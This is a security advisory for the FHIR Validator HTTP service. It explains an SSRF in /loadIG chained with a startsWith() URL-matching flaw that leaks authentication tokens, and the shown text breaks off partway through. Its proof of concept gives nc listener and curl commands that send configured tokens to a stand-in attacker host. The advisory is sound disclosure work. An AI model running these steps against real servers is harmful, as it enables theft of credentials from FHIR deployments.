GitHub Security Advisory: GHSA-vr79-8m62-wh98
Package: ca.uhn.hapi.fhir:org.hl7.fhir.validation (MAVEN)
Severity: CRITICAL (CVSS 9.3)
CWE: CWE-522: Insufficiently Protected Credentials, CWE-552: Files or Directories Accessible to External Parties
Vulnerable versions: < 6.9.4
Patched in: 6.9.4

Summary: FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft

Details:
## Summary

The FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.

## Details

**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):

The `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:

```java
// LoadIGHTTPHandler.java:43
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);

// IgLoader.java:437 (fetchFromUrlSpecific)
HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System.currentTimeMillis());
```

**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):

When `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:

```java
// ManagedWebAccessUtils.java:14
if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {
    return serverDetails;
}
```

If the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.

**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):

`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.

## PoC

**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:
```json
{
  "servers": [{
    "url": "https://packages.fhir.org",
    "authenticationType": "token",
    "token": "ghp_SecretTokenForFHIRRegistry123"
  }]
}
```

**Step 1:** Set up attacker credential capture server:
```bash
# On attacker machine, listen for incoming requests
nc -lp 80 > /tmp/captured_request.txt &
# Register DNS: packages.fhir.org.attacker.com -> attacker IP
```

**Step 2:** Trigger the SSRF with prefix-matching URL:
```bash
curl -X POST http://target-validator:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'
```

**Step 3:** Verify credential capture:
```bash
cat /tmp/captured_request.txt
# Expected output includes:
# GET /mali